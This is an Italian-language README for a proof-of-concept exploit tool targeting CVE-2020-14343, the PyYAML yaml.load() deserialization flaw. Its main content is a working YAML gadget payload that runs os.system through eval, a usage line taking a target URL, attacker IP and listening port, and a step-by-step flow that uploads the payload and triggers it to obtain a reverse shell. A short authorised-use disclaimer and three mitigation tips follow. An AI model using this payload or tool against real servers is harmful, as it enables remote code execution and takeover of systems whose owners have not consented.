CVE-2020-14343 PyYAML POC per vulnerabilità di deserializzazione

Panoramica della vulnerabilità

Principio della vulnerabilità

Quando PyYAML utilizza yaml.load() per analizzare dati non fidati, non limita i tag YAML pericolosi (come !!python/object). Un attaccante può creare contenuti YAML malevoli per eseguire codice Python arbitrario.

Payload principale:

!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

Utilizzo

python poc.py <目标URL> <攻击者IP> <监听端口>

Esempio:

python poc.py http://vulnerable-site.com 192.168.1.100 4444

Flusso dell'attacco

1. Lo script avvia un listener TCP in locale.
2. Carica un file YAML malevolo sull'endpoint /upload del target.
3. Attiva l'endpoint /login per caricare e analizzare il YAML.
4. Il server target esegue il payload e invia una reverse shell all'attaccante.

Installazione delle dipendenze

pip install requests

Dichiarazione di esclusione di responsabilità

⚠️ Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e ai test autorizzati!

• Non utilizzarlo per scopi illegali.
• Prima dell'uso, assicurati di avere l'autorizzazione del sistema target.
• L'autore non è responsabile per qualsiasi uso improprio.

Raccomandazioni per la mitigazione

1. Utilizzare yaml.safe_load() al posto di yaml.load().
2. Aggiornare PyYAML alla versione 5.4 o successiva.
3. Effettuare una validazione rigorosa degli input utente.

Collegamenti di riferimento

• CVE-2020-14343 - NVD
• Documentazione ufficiale PyYAML